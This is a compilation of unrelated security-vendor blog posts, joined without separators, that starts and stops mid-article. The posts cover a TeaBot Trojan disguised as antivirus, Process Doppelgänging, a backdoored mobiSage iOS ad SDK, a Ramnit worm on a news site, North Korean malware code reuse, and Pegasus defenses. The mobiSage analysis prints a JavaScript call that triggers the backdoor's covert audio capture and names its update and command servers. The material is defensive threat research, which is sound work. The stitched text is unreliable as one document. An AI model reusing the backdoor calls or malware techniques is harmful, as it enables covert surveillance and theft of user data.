A recent example illustrates why: Scammers were spreading a banking Trojan disguised as popular media players, a fitness app, a book reader, and one that hit close to home, Kaspersky Internet Security for Android.
Why it is dangerous to install applications from alternative sources Nothing is wrong with third-party app marketplaces per se, but no one can know for sure whether any given store is trustworthy.
In an official Android app store, be it Google Play or Huawei AppGallery, employees of the respective owner companies screen every application submitted by developers, weeding out any that are clearly malicious.
These are large companies that protect their reputations and customers’ security, and they have both the resources and the motivation to help keep users malware-free.
Sometimes, however, malware does get through , and even into Google Play, although the chances of encountering it there are much lower than on message boards, torrent trackers, or some other sites.
Proudly small, independent marketplaces tend not to run many checks, typically because they lack the resources, and as a result, the apps they host could be anything in disguise, even a Trojan.
We should mention here that downloading malware to an Android device is not usually enough to infect it.
Unless the malware relies on some kind of zero-day uber-exploit to get superuser permissions , installing a dangerous app in Android requires some effort.
The operating system queries the user about every step: whether they really want to install the app, whether they agree to grant it the permissions it requests, and so on.
Cybercriminals employ social engineering to persuade people to say yes, often with great success.
Malicious security from an alternative marketplace Here is an example.
Not so long ago, a group of researchers reported on Android applications spreading through various fake sites.
The apps included a fake version of Kaspersky Internet Security for Android.
The scammers were spreading their fake app with the name “Kaspersky Free Antivirus” (we used to offer a product with that name, but it was for Windows).
On Google Play, our mobile antivirus app is currently called Kaspersky Mobile Antivirus: Applock & Web Security .
Ironically, users who downloaded the fake antivirus app received a banking Trojan known as TeaBot, which our security products detect as HEUR: Trojan-Banker.
AndroidOS.Teaban or HEUR:
Trojan-Banker.
AndroidOS.Regon.
Why is this especially problematic in the case of antivirus apps?
It’s because the user not only downloads and installs a banking Trojan disguised like this, but also grants it all of the permissions it requests.
After all, an authentic antivirus app needs a lot of permissions, including very powerful access such as Accessibility services .
Worse, in the absence of actual antivirus protection, the device cannot detect the malware.
Completing installation and granting all requested permissions gives the TeaBot Trojan the ability to do almost anything on the Android device.
Its capabilities are many: from keylogging , stealing Google Authenticator codes, and exploiting Accessibility in other ways all the way to gaining full remote control of the Android device.
How to make sure an app is legit Antivirus isn’t TeaBot’s only disguise.
The malware is also available as fake versions of some well-known government, financial, fitness, and reading apps, among others.
To stay safe, turn off your smartphone’s ability to install applications from unknown sources altogether — Android allows that.
And if you need an app of any kind, find it on an official marketplace.
Be very careful as well about the permissions you grant to applications .
If a fitness app unexpectedly requests permission to use Accessibility, for example, think twice (or more) before answering.
Finally, be sure to use authentic antivirus protection.
With a completely free edition of Kaspersky Internet Security for Android available, there’s no reason to download it from unofficial sources.
You can find our antivirus app in both Google Play and the Huawei AppGallery.
By Raj Samani and Christiaan Beek on May 11, 2018 This blog was co-written with Brook Schoenfield.
That adversaries adopt new techniques is a known fact.
However, the speed they include new innovative techniques to bypass end-point security and or evade sandboxing appears to be at an ever-increasing pace.
Indeed, adversary adoption is often faster than the InfoSec industry can implement and test effective countermeasures.
For example, in December 2017, a tool was released to hide PowerShell in a graphic file.
Within 7 days of the release, McAfee Advanced Threat Research started to see the technique being exploited by a Nation State actor.
From announcement to inclusion, test and use in production within 7 days is impressive.
This week, security-researchers from Kaspersky discovered that an actor was applying the so-called Process Doppelgänging technique in what has been named the “SynAck” ransomware.
(https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/)
So What is the Process Doppelgänging Technique in a Nutshell?
Using this technique gives the malware writer an ability to run malicious code/executable under the cover of a legitimate executable by using the transaction features of the NTFS filesystem (Windows Transactional NTFS API).
McAfee Detects and Protects Since the initial release of this technique in December 2017, McAfee Labs has been investigating this technique and how we might protect our customers.
In contrast to adversaries who can release mistakes in code and implementation, we simply cannot.
We have to thoroughly test to ensure that when we release our solution it detects correctly and does not disrupt or break other software.
McAfee’s Product Security Incident Team (PSIRT), working in coordination with McAfee’s product teams 1 delivered a protection to Process Doppelgänging in two of McAfee’s product suites (see below for more detail).
McAfee’s protection has tested effective against EnSilo’s original proof of concept (PoC) and other examples.
As an example, we tested recent malware using the technique against our detection feature with success: McAfee’s protection prevents execution of a file if changes to it are contained within a Windows NTFS transaction.
There are no legitimate uses for the Transactional API to be used in this way, so far as McAfee know.
Details of products that include protection against Process Doppelgänging follow: ENS 10.5.4, released April 24, 2018 VSE 8.8 patch 11, released April 24, 2018 ENS 10.6, Public Beta available March 9, 2018.
Release is targeted around June 1, 2018 WSS 16.0.12 will include the same protection.
Release of WSS is targeted for the end of May, or the beginning of June, 2018.
What Is Protected Windows 7 & 8 -> McAfee protection is effective Win 10 RS3 -> McAfee protection is effective Win 10 RS4 -> Microsoft has implemented the same protection as McAfee EnSilo have documented that attempts to exploit Win 10 Pre RS3 results in a Windows crash, “Blue Screen of Death” (BSOD).
McAfee’s testing confirms Ensilo’s results.
Users may not see a detection alert with some versions of McAfee products under some versions of Windows.
McAfee testing indicates that all versions of product under every Windows version listed above are protected.
1 McAfee thanks McAfee Software Engineer, Alnoor Allidina for the diligence and insight that lead to the Process Dopplegänging protection.
Introduction Recently FireEye mobile researchers discovered a high-risk ad\nlibrary embedded in thousands of iOS apps in the Apple App Store,\nincluding 213 popular apps with more than 1000 user reviews in both\nthe US and Chinese App Stores.
As of publication of this blog, 935\naffected apps are still downloadable.
The capabilities of this ad\nlibrary go far beyond those of typical adware and clearly violate\nrequirements of Apple’s iOS Developer Program intended to protect\nusers’ security and privacy.
The library embeds backdoors in unsuspecting apps that make use of it to display ads, exposing sensitive data and functionality.
The backdoors can be controlled remotely by loading JavaScript code from remote servers to perform the following actions: Capture audio and screenshots.
Monitor and upload device location.
Read/delete/create/modify files in the app’s data container.
Read/Write/Reset the app’s keychain (e.g., app password storage).
Post encrypted data to remote servers.
Open URL schemes to identify and launch other apps installed on the device.
“Side-load” non-App Store apps by prompting the user to click an “Install” button.
The offending ad library contains identifying data suggesting that it is a version of the mobiSage SDK [1].
We found 17 distinct versions of the backdoored ad library, with version codes between 5.3.3 and 6.4.4.
However, in the latest mobiSage SDK publicly released by adSage [2], identified as version 7.0.5, the backdoors are not present.
We cannot determine with certainty whether the backdoored versions of the library were actually released by adSage, or whether they were created and/or compromised by a third party.
As of publication of this blog, we have identified 2846 apps published in the App Store containing backdoored versions of mobiSage SDK.
Among these 2846 apps, we have observed over 900 attempt to contact their command and control (C2) server.
We have notified Apple and provided the details to them.
These backdoors can be controlled not only by the original creators of the ad library, but potentially also by outside threat actors.
While we have not observed commands from the C2 server intended to trigger the most sensitive capabilities such recording audio or stealing sensitive data, there are several ways that the backdoors could be abused by third-party targeted attackers to further compromise the security and privacy of the device and user:
An attacker could reverse-engineer the insecure HTTP-based control protocol between the ad library and its server, and then hijack the connection to insert commands to trigger the backdoors and steal sensitive information.
A malicious app developer can similarly inject commands, utilizing the library’s backdoors to build their own surveillance app.
Since the ad library has passed the App Store review process in numerous apps, this is an attractive way to create an app with these hidden behaviors that will pass under Apple’s radar.
App Store Protections Ineffective Despite Apple’s reputation for keeping malware out of the App Store with its strict review process, this case demonstrates that it is still possible for dangerous code that exposes users to critical security and privacy risks to sneak into the App Store by piggybacking on unsuspecting apps.
Backdoors that enable silently recording audio and uploading sensitive data when triggered by downloaded code clearly violate the requirements of the iOS Developer Program [3].
The requirements state that apps are not permitted to download code or scripts, with the exception of scripts that “ do not change the primary purpose of the Application by providing features or functionality that are inconsistent with the intended and advertised purpose of the Application as submitted to the App Store .”
And, for apps that can record audio, “ a reasonably conspicuous audio, visual or other indicator must be displayed to the user as part of the Application to indicate that a Recording is taking place.”
The backdoored versions of mobiSage clearly violate these requirements, yet thousands of affected apps made it past the App Store review process.
Technical Details As shown in Figure 1, the backdoored mobiSage library includes two key components, separately implemented in Objective-C and JavaScript.
The Objective-C component, which we refer to as msageCore , implements the underlying functionality of the backdoors and exposes interfaces to the JavaScript context through a WebView.
The JavaScript component, which we refer to as msageJS , provides high-level execution logic and can trigger the backdoors by invoking the interfaces exposed by msageCore.
Each component has its own separate version number.
Figure 1: Key components of backdoored mobiSage SDK
In the remainder of this section, we reveal internal details of msageCore, including its communication channel and high-risk interfaces.
Then, we describe how msageJS is launched and updated, and how it can trigger the backdoors.
Backdoors in msageCore Communication channel MsageCore implements a general framework to communicate with msageJS via the ad library’s WebView.
Commands and parameters are passed via specially crafted URLs in the format  adsagejs://cmd&parameter.
As shown in the reconstructed code fragment in Figure 2, msageCore fetches the command and parameters from the JavaScript context and inserts them in its command queue.
Figure 2:
Communication via URL loading in WebView.
To process a command in its queue, msageCore dispatches the command along with its parameters to a corresponding Objective-C class and method.
Figure 3 shows portions of the reconstructed command dispatching code.
Figure 3:
Command dispatch in msageCore.
High-risk interfaces Each dispatched command ultimately arrives at an Objective-C class in msageCore.
Table 1 shows a subset of msageCore classes and the corresponding interfaces that they expose.
msageCore Class Name Interfaces MSageCoreUIManagerPlugin - captureAudio: - captureImage: - openMail: - openSMS: - openApp: - openInAppStore: - openCamera: - openImagePicker: - ... MSageCoreLocation - start: - stop: - setTimer: - returnLocationInfo:webViewId: - ...
MSageCorePluginFileModule - createDir - deleteDir: - deleteFile: - createFile: - getFileContent: - ...
MSageCoreKeyChain - writeKeyValue: - readValueByKey: - resetValueByKey: MSageCorePluginNetWork - sendHttpGet: - sendHttpPost: - sendHttpUpload: - ... MSageCoreEncryptPlugin - MD5Encrypt: - SHA1Encrypt: - AESEncrypt: - AESDecrypt: - DESEncrypt: - DESDecrypt: - XOREncrypt: - XORDecrypt: - RC4Encrypt: - RC4Decrypt - ...
Table 1: Selected interfaces exposed by msageCore The selected interfaces reveal some of the key capabilities exposed by the backdoors in the library.
They expose the ability to capture audio and screenshots while the affected app is in use, identify and launch other apps installed on the device, periodically monitor location, read and write files in the app’s data container, and read/write/reset “secure” keychain items stored by the app.
Additionally, any data collected via these interfaces can be encrypted with various encryption schemes and uploaded to a remote server.
Beyond the selected interfaces, the ad library exposes users to additional risks by including explicit logic to promote and install “enpublic” apps shown in Figure 4.
As we have highlighted in previous blogs [4, 5, 6, 7, 8], enpublic apps can introduce additional security risks by using private APIs, which would normally cause an app to be blocked by the App Store review process.
In previous blogs we have described a number of “Masque” attacks utilizing enpublic apps [5, 6, 7], which affect pre-iOS 9 devices.
The attacks include background monitoring of SMS or phone calls, breaking the app sandbox, stealing email messages, and demolishing arbitrary app installations.
Figure 4:
Installing “enpublic” apps to bypass Apple App Store review We can observe the functionality of the ad library by examining the implementations of some of the selected interfaces.
Figure 5 shows reconstructed code snippets for capturing audio.
Before storing recorded audio to a file audio_xxx.wav, the code retrieves two parameters from the command for recording duration and threshold.
Figure 5: Capturing audio with duration and threshold.
Figure 6 shows a code snippet for initializing the app’s keychain before reading.
The accessed keychain is in the kSecClassGenericPassword class, which is widely used by apps for storing secret credentials such as passwords.
Figure 6: Reading the keychain in the kSecClassGenericPassword class.
Remote control in msageJS msageJS contains JavaScript code for communicating with a C2 server and submitting commands to msageCore.
The file layout of msageJS is shown in Figure 7.
Inside sdkjs.js, we find a wrapper object called adsage and the JavaScript interface for command execution.
Figure 7:
The file layout of msageJS The command execution interface is constructed as follows:
adsage.exec(className, methodName, argsList, onSuccess, onFailure); The className and methodName parameters correspond to classes and methods in msageCore.
The argsList parameter can be either a list or dict, and the exact types and values can be determined by reversing the methods in msageCore.
The final two parameters are function callbacks invoked when the method exits.
For example, the following invocation starts audio capture: adsage.exec(\"MSageCoreUIManager\", \"captureAudio\", [\"Hey\", 10, 40],  onSuccess, onFailure); Note that the files comprising msageJS cannot be found by simply listing the files in an affected app’s IPA.
The files themselves are zipped and encoded in Base64 in the data section of the ad library binary.
After an affected app is launched, msageCore first decodes the string and extracts msageJS to the app’s data container, setting index.html shown in Figure 7 as the landing page in the ad library WebView to launch msageJS.
Figure 8: Base64 encoded JavaScript component in zip format.
When msageJS is launched, it sends a POST request to hxxp://entry.adsage.com/d/ to check for updates.
The server responds with information about the latest msageJS version, including a download URL, as shown in Figure 9.
Note that since the request uses HTTP rather than HTTPS, the response can be hijacked easily by a network attacker, who could replace the download URL with a link to malicious JavaScript code that triggers the backdoors.
Figure 9:
Server response to msageJS update request via HTTP POST
Conclusion In this blog, we described a high-risk ad library affecting thousands of iOS apps in the Apple App Store.
We revealed the internals of backdoors which can be used to silently record audio, capture screenshots, prompt the user to side-load other high-risk apps, and read sensitive data from the app’s keychain, among other dubious capabilities.
We also showed how these backdoors can be controlled remotely by JavaScript code fetched from the Internet in an insecure manner.
FireEye Protection
Immediately after we discovered the high-risk ad library and affected apps, FireEye updated detection rules in its NX and Mobile Threat Prevention (MTP) products to detect the affected apps and their network activities.
In addition, FireEye customers can access the full list of affected apps upon request.
FireEye NX customers are alerted if an employee uses an infected app while their iOS device is connected to the corporate network.
It is important to note that, even if the servers that the backdoored mobiSage SDK communicates with do not deliver JavaScript code that triggers the high-risk backdoors, the affected apps still try to connect to them using HTTP.
This HTTP session is vulnerable to hijacking by outside attackers.
FireEye MTP management customers have full visibility into high-risk apps installed on mobile devices in their deployment base.
End users receive on-device notifications of the detection and IT administrators receive email alerts.
Click here to learn more about FireEye Mobile Threat Protection product.
[1] http://www.adsage.com/mobisage
[2] http://www.adsage.cn/ [3] https://developer.apple.com/programs/ios/information/iOS_Program_Information_4_3_15.pdf [4] https://www.fireeye.com/blog/threat-research/2015/08/ios_masque_attackwe.html [5] https://www.fireeye.com/blog/threat-research/2015/02/ios_masque_attackre.html [6] https://www.fireeye.com/blog/threat-research/2014/11/masque-attack-all-your-ios-apps-belong-to-us.html [7] https://www.fireeye.com/blog/threat-research/2015/06/three_new_masqueatt.html [8] https://www.virusbtn.com/virusbulletin/archive/2014/11/vb201411-Apple-without-shell Subscribe to Blogs Get email updates as new blog posts are added.
Newspapers have the ability to do more than simply keep us current with worldly affairs; we can use them to squash bugs!
Yet, as we move from waiting on the newspaper delivery boy to reading breaking news on e Papers, we lose the subtle art of bug squashing.
Instead, we end up exposing ourselves to dangerous digital bugs that can affect our virtual worlds.
This is exactly what happened to visitors of one of the top five news sites of China.
Any users running Internet Explorer (IE) who navigated to the website may have been exposed to an old, yet persistent VBScript worm that has the ability to self-replicate recursively from infected machines.
Incidentally, the major actors involved with this old campaign have been taken down, yet traces of their injected recursive malware have still managed to sneak on to one of the highest browsed sites in China.
The FireEye Dynamic Threat Intelligence (DTI) first discovered that the site was compromised and used to host VBS/Ramnit on Jan. 28, 2016.
We can confirm that the infection is still live as of the time of this writing.
IE users who visit the site may be compromised if they browse to a specific page (paperindex[.
]htm) and click ‘Yes’ to run ActiveX, which may appear to be safe since the website is familiar and popular.
There is no exploit used for infection, simply social engineering and errant clicks.
As shown in Figure 1, a malicious VBScript is appeneded after the HTML body.
Upon landing on this page, the victim’s browser will load the news content while it executes a malicious ActiveX component in the background.
Figure 1:
Legitimate HTML page appended with malicious VBScript As shown in Figure 2 and Figure 3, the VBScript drops a binary named “svchost.exe” in the %TEMP% folder and executes it upon successful ActiveX execution.
In a case where the system is compromised, it also tries to connect to a CnC server, fget-career[.
]com, which has been involved in campaigns for this trojan before.
Figure 2:
The VBScript drops the binary in the %TEMP% folder and executes it Figure 3:
The full path to “svchost.exe” (using Internet Explorer 11 on Windows 7) Successful execution of the VBScript and the delivery of W32.Ramnit onto the victim’s machine depends on the user’s browser, as well as the browser’s setting.
Since Chrome and Firefox do not support client-side VBScript, only IE users are susceptible to this attack.
Fortunately, recent versions of IE do not run code automatically by default.
Instead, users will see two popup warnings when the browser is rendering potentially dangerous objects such as ActiveX components, as shown in Figure 4 and Figure 5.
Figure 4:
First warning for blocked content in IE 11 Figure 5: Second warning for blocked content in IE 11 Only when the victim clicks on “Yes” will the browser execute the blocked content.
In this case, the IE executes the VBScript, drops the payload, and executes it in the background while the user simply sees the usual news page.
As long as users click “No” to disallow ActiveX components, they will remain safe from W32.Ramnit.
However, this type of social engineering continues to be successful.
When a legitimate site is compromised to host exploits or malware, the positive reputation of the site is leveraged to trick users into clicking “Yes” and becoming infected.
The potential impact of this particular threat is compounded by the fact that the compromised site is ranked in the Alexa Top 100 for most visited sites internationally, and is in the Top 25 for most popular websites in China [1].
FireEye appliances detect this infection at multiple levels.
FireEye’s multiflow detection traces out the complete attack chain, as well as CnC communication.
While the CnC host has been suspended for a long time, the worm’s presence alone can be a pain for the victim because it adds itself into all HTML files that it can access.
Additionally, it adds itself to the startup registry and impacts the machine’s performance.
So the question that you need to ask yourself is this: If a Top 100 Alexa domain is still infected by this veteran malware, are you?
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By McAfee on Aug 09, 2018 This research is a joint effort by Jay Rosenberg, senior security researcher at Intezer, and Christiaan Beek, lead scientist and senior principal engineer at McAfee.
Intezer has also posted this story.
Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to have come from North Korea.
But how can we know with certainty?
And what connection does a DDoS and disk-wiping attack from July 4, 2009, have with WannaCry, one of the largest cyberattacks in the history of the cyber sphere?
From the Mydoom variant Brambul to the more recent Fallchill, WannaCry, and the targeting of cryptocurrency exchanges, we see a distinct timeline of attacks beginning from the moment North Korea entered the world stage as a significant threat actor.
Bad actors have a tendency to unwittingly leave fingerprints on their attacks, allowing researchers to connect the dots between them.
North Korean actors have left many of these clues in their wake and throughout the evolution of their malware arsenal.
This post reflects months of research; in it we will highlight our code analysis illustrating key similarities between samples attributed to the Democratic People’s Republic of Korea, a shared networking infrastructure, and other revealing data hidden within the binaries.
Together these puzzle pieces show the connections between the many attacks attributed to North Korea and categorize different tools used by specific teams of their cyber army.
Valuable context This article is too short to dig deeply into the history, politics, and economic changes of recent years.
Nonetheless, we must highlight some events to put past and present cyber events into perspective.
The DPRK, like any country, wants to be as self-sufficient and independent as possible.
However, for products such as oil, food, and foreign currency for trading, the country lacks resources and has to find ways of acquiring them.
What can a nation do when legal international economics are denied?
To survive, it must gain foreign currency for trading.
One of the oldest ways to do this is to join the worlds of gambling (casinos) and drugs.
In 2005, the United States wanted to shut down North Korean enterprises involved in illegal operations.
They investigated a couple of banks in Asia that seemed to have ties with North Korea and operated as money laundering sites.
One bank in particular is controlled by a billionaire gambling mogul who started a casino in Pyongyang and has close ties to Pyongyang.
That bank, based in Macau, came back into the picture during an attack on the SWIFT financial system of a bank in Vietnam in 2015.
The Macau bank was listed twice in the malware’s code as a recipient of stolen funds: Figure 1: SWIFT code in malware.
Code reuse There are many reasons to reuse malware code, which is very common in the world of cybercrime.
If we take an average ransomware campaign, for example, once the campaign becomes less successful, actors often change some of basics such as using a different packer to bypass defenses.
With targeted campaigns, an adversary must keep its tools undetected for as long as possible.
By identifying reused code, we gain valuable insights about the “ancestral relations” to known threat actors or other campaigns.
Our research was heavily focused on this type of analysis.
In our years of investigating cyber threats, we have seen the DPRK conduct multiple cyber campaigns.
In North Korea, hackers’ skills determine which cyber units they work for.
We are aware two major focuses of DPRK campaigns: one to raise money, and one to pursue nationalist aims.
The first workforce gathers money for the nation, even if that means committing cybercrime to hack into financial institutions, hijack gambling sessions, or sell pirated and cracked software.
Unit 180 is responsible for illegally gaining foreign currency using hacking techniques.
The second workforce operates larger campaigns motivated by nationalism, gathering intelligence from other nations, and in some cases disrupting rival states and military targets.
Most of these actions are executed by Unit 121.
We focused in our research on the larger-scale nationalism-motivated campaigns, in which we discovered many overlaps in code reuse.
We are highly confident that nation-state–sponsored groups were active in these efforts.
Timeline We created a timeline of most of the malware samples and noticeable campaigns that we examined.
We used primarily open-source blogs and papers to build this timeline and used the malware artifacts as a starting point of our research.
Figure 2: Timeline of malware and campaigns.
Analysis and observations Similarities During our research, we found many malware family names that are believed to be associated with North Korea’s cyber operations.
To better understand this threat actor and the similarities between the campaigns, we have used Intezer’s code similarity detection engine to plot the links between a vast number of these malware families.
The following graph presents a high-level overview of these relations.
Each node represents a malware family or a hacking tool (“Brambul,” “Fallchill,” etc.)
and each line presents a code similarity between two families.
A thicker line correlates to a stronger similarity.
In defining similarities, we take into account only unique code connections, and disregard common code or libraries.
This definition holds both for this graph and our entire research.
Figure 3:
Code similarities between North Korean–associated malware families.
We can easily see a significant amount of code similarities between almost every one of the attacks associated with North Korea.
Our research included thousands of samples, mostly unclassified or uncategorized.
This graph was plotted using a data set of only several hundred samples, so there might be more connections than displayed here.
Deep technical analysis During our research, we came across many code similarities between North Korean binaries that had not been seen before.
Some of these attacks and malware have not been linked to one another, at least publicly.
We will showcase four examples of reused code that has been seen only in malware attributed to North Korea.
Common SMB module The first code example appeared in the server message block (SMB) module of WannaCry in 2017, Mydoom in 2009, Joanap, and DeltaAlfa.
Further shared code across these families is an AES library from CodeProject.
These attacks have been attributed to Lazarus; that means the group has reused code from at least 2009 to 2017.
Figure 4:
Code overlap of a Mydoom sample.
In the next screenshots we highlight the exact code block that reflects the SMB module we found in campaigns other than WannaCry and Mydoom.
Figure 5: An SMB module common to several attacks.
A lot has been written about WannaCry.
As we analyze the code against our databases, we can draw the following overview: Figure 6:
WannaCry code comparison overview.
For our research we compared the three major variants of WannaCry.
An early release, called a beta, from February 2017, one from April, and the infamous one that hit the world in May.
Common file mapping The second example demonstrates code responsible for mapping a file and using the XOR key 0xDEADBEEF on the first four bytes of the file.
This code has appeared in the malware families NavRAT and Gold Dragon, plus a certain DLL from the South Korean gambling hacking campaign.
These three RATs are thought to be affiliated with North Korea’s Group 123.
NavRAT and the gambling DLL share more code, making them closer variants.
Figure 7:
Code overlap in a NavRAT sample.
Figure 8: File-mapping code
Unique net share The third example, responsible for launching a cmd.exe with a net share, has been seen in 2009’s Brambul, also known as SierraBravo, as well as KorDllBot in 2011.
These malware families are also attributed to the Lazarus group.
Figure 9:
Code overlap of a SierraBravo (Brambul) sample.
Figure 10:
A code block reused in the malware families Brambul/SierraBravo and KorDllBot.
Operation Dark Hotel In 2014, Kaspersky reported a more than seven-year campaign against Asian hotels, in which the adversaries used an arsenal of tools to break into the computers of hotel visitors.
Zero days and control servers were used, along with the malware family Tapaoux, or DarkHotel, according to the report.
While we examined the DPRK samples, we noticed a hit with the Dark Hotel samples in our collections.
By going through the code, we noticed several pieces of code overlap and reuse, for example, with samples from Operation Troy.
Figure 11:
Code overlap in a Dark Hotel sample.
Identifying a group By applying what we learned from our comparisons and code-block identifications, we uncovered possible new links between malware families and the groups using them.
With the different pieces of malware we have analyzed, we can illustrate the code reuse and sharing between the groups known to be affiliated with North Korea.
Figure 12:
Groups and families linked by code reuse.
The malware attributed to the group Lazarus has code connections that link many of the malware families spotted over the years.
Lazarus is a collective name for many DPRK cyber operations, and we clearly see links between malware families used in different campaigns.
The malware (NavRAT, gambling, and Gold Dragon) possibly created by Group 123 are connected to each other but are separate from those used by Lazarus.
Although these are different units focusing on different areas, there seems to be a parallel structure in which they collaborate during certain campaigns.
MITRE ATT&CK From our research of these malware samples, we can identify the following techniques used by the malware families: When we zoom in on the Discovery category in the MITRE model, for example, we notice that the techniques are typical for first-stage dropper malware.
The adversary drops these samples on victims’ machines and collects information on where they landed in the victims’ networks and which user/access rights they gained.
In 2018, we saw examples of campaigns in which attackers used PowerShell to download and execute these droppers.
Once information has been sent to a control server, the adversary determines the next steps, which often include installing a remote access tool to enable lateral movement on the network and pursue the goals of the campaign.
Final words Security vendors and researchers often use different names when speaking about the same malware, group, or attack.
This habit makes it challenging to group all the malware and campaigns.
By taking a scientific approach, such as looking for code reuse, we can categorize our findings.
We believe our research will help the security community organize the current “mess” we face in relation to North Korean malware and campaigns.
We clearly saw a lot of code reuse over the many years of cyber campaigns we examined.
This indicates the North Koreans have groups with different skills and tools that execute their focused parts of cyber operations while also working in parallel when large campaigns require a mix of skills and tools.
We found our months of research, data gathering, and analysis very satisfying.
By combining our skills, data, and technology, we were able to draw connections and reveal links that we had not seen before.
The cybersecurity industry would greatly benefit from more collaboration and sharing of information, and we hope that this effort between McAfee and Intezer will inspire the community to work together more often.
The authors thank Costin Raiu for providing them with samples they did not have in their collections.
Sources Glenn Simpson, Gordon Fairclough, and Jay Solomon, “U.S.
Probes Banks’ North Korea Ties.”
Wall Street Journal, last updated September 8, 2005.
Christiaan Beek, “Attacks on SWIFT Banking system benefit from insider knowledge.”
https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/ Atif Mushtaq, “DDOS Madness Continued…” https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html Ryan Sherstobitoff and Jessica Saavedra-Morales, “Gold Dragon Widens Olympics
Malware Attacks, Gains Permanent Presence on Victims’ Systems.”
https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/ Alex Drozhzhin, “Darkhotel: a spy campaign in luxury Asian hotels.”
https://www.kaspersky.com/blog/darkhotel-apt/6613/ Warren Mercer, Paul Rascagneres, and Jungsoo An, “NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea.”
https://blog.talosintelligence.com/2018/05/navrat.html Sergei Shevchenko and Adrian Nish , “ Cyber Heist Attribution.
”
https://baesystemsai.blogspot.com/2016/05/cyber-heist-attribution.html Mydoom code reuse report.
https://analyze.intezer.com/#/analyses/113ba80f-1680-43d7-b287-cc62f3740fad NavRAT code reuse report.
https://analyze.intezer.com/#/analyses/4f19fd5a-a898-4fdf-96c9-d3a4aad817cb SierraBravo code reuse report.
https://analyze.intezer.com/#/analyses/8da8104e-56e4-49fd-ba24-82978bc1610c Dark Hotel code reuse report.
https://analyze.intezer.com/#/analyses/c034e0fe-7825-4f6d-b092-7c5ee693aff4 Kang Jang-ho, “A foreign currency earned with a virtual currency …
What is the life of a North Korean hacker?”
http://m.mtn.co.kr/news/news_view.php?mmn_idx=2018062517065863930#_enliple Awesome work by the team responsible for the “Operation Blockbuster” report.
https://www.operationblockbuster.com/resources/
Possibly the biggest story of 2021 — an investigation by the Guardian and 16 other media organizations, published in July — suggested that over 30,000 human rights activists, journalists and lawyers across the world may have been targeted using Pegasus.
Pegasus is a so-called “legal surveillance software” developed by the Israeli company NSO.
The report, called the Pegasus Project , alleged that the malware was deployed widely through a variety of exploits, including several iOS zero-click zero-days.
Based on forensic analysis of numerous mobile devices, Amnesty International’s Security Lab found that the software was repeatedly used in an abusive manner for surveillance.
The list of targeted individuals includes 14 world leaders and many other activists, human rights advocates, dissidents and opposition figures.
Later in July, representatives from the Israeli government visited the offices of NSO as part of an investigation into the claims.
In October, India’s Supreme Court commissioned a technical committee to investigate the use of Pegasus to spy on its citizens.
Apple announced, in November, that it was taking legal action against NSO Group for developing software that targets its users with “malicious malware and spyware.”
Last but not least, in December, Reuters published that US State Department phones were hacked with the NSO Pegasus malware, as alerted by Apple.
Over the past few months I have received a lot of questions from concerned users worldwide on how to protect their mobile devices from Pegasus and other similar tools and malware.
We are trying to address this in the current article, with the observation that no list of defence techniques can ever be exhaustive.
Additionally, as attackers change their modus operandi, protection techniques should also be adapted.
How to stay safe from Pegasus and other advanced mobile spyware First of all, we should start by saying that Pegasus is a toolkit sold to nation states at relatively high prices .
The cost of a full deployment may easily reach millions of USD.
Similarly, other APT mobile malware may be deployed through zero-click 0-day exploits.
These are extremely expensive — as an example, Zerodium, an exploit brokerage firm pays up to $2.5 million for an Android zero-click infection chain with persistence: From the start, this draws an important conclusion — nation state sponsored cyberespionage is a vastly resourceful endeavor.
When a threat actor can afford to spend millions, potentially tens of millions or even hundreds of millions of USD on their offensive programs, it is very unlikely that a target will be able to avoid getting infected.
To put this in simpler words, if you are targeted by such an actor, it’s not a question of “whether you can get infected,” it’s actually just a matter of time and resources before you get infected .
Now, for the good news — exploit development and offensive cyberwarfare are often more of an art rather than an exact science.
Exploits need to be tuned for specific OS versions and hardware and can be easily thwarted by new OS releases, new mitigation techniques or even small things such as random events.
With that in mind, infection and targeting is also a question of cost and making things more difficult for the attackers.
Although we may not always be able to prevent the successful exploitation and infection of the mobile device, we can try to make it as hard as possible for the attackers.
How do we do this in practice?
Here’s a simple checklist.
How to protect from advanced spyware on iOS Reboot daily.
According to research from Amnesty International and Citizen Lab, the Pegasus infection chain often relies on zero-click 0-days with no persistence, so regular reboot helps clean the device.
If the device is rebooted daily, the attackers will have to re-infect it over and over again.
In time, this increases the chances of detection; a crash might happen or artifacts could be logged that give away the stealthy nature of the infection.
Actually, this is not just theory, it’s practice — we analyzed one case in which a mobile device was targeted through a zero-click exploit (likely FORCEDENTRY).
The device owner rebooted their device regularly and did so in the next 24 hours following the attack.
The attackers tried to target them a few more times but eventually gave up after getting kicked a few times through reboots.
NoReboot:
A fake restart to gain a foothold in the system Disable iMessage.
iMessage is built into iOS and is enabled by default, making it an attractive exploitation vector.
Because it’s enabled by default, it is a top delivery mechanism for zero-click chains and for many years, iMessage exploits were in high demand, with top payouts at exploit brokerage companies.
“During the last few months, we have observed an increase in the number of iOS exploits, mostly Safari and iMessage chains, being developed and sold by researchers from all around the world.
The zero-day market is so flooded by iOS exploits that we’ve recently started refusing some (of) them ,” Zerodium’s founder Chaouki Bekrar wrote back in 2019 to WIRED .
We realize life without iMessage may be very difficult for some (more on that later), but if Pegasus and other high-end APT mobile malware is in your threat model, this is a tradeoff worth taking.
Disable Facetime.
Same advice as above.
Keep the mobile device up to date; install the latest iOS patches as soon as they are out.
Not everyone can afford zero-click 0-day’s, actually many of the iOS exploit kits we are seeing are targeting already patched vulnerabilities.
Nevertheless, many people run older phones and postpone updates for various reasons.
If you want to be ahead of (at least some) nation state hackers, update as soon as possible and teach yourself not to need Emojis to install the patches .
Don’t ever click on links received in messages.
This is simple advice yet effective.
Not all Pegasus customers can afford to buy zero-click 0-day chains at a cost of millions so they rely on 1-click exploits.
These arrive in the form of a message, sometimes by SMS, but can also be via other messengers or even e-mail.
If you receive an interesting SMS (or by any other messenger) with a link, open it on a desktop computer, preferably using TOR Browser, or better yet using a secure non-persistent OS such as Tails.
SMS with a malicious link used to target a political activist.
Source: Citizen Lab Browse the Internet with an alternate browser such as Firefox Focus instead of Safari or Chrome.
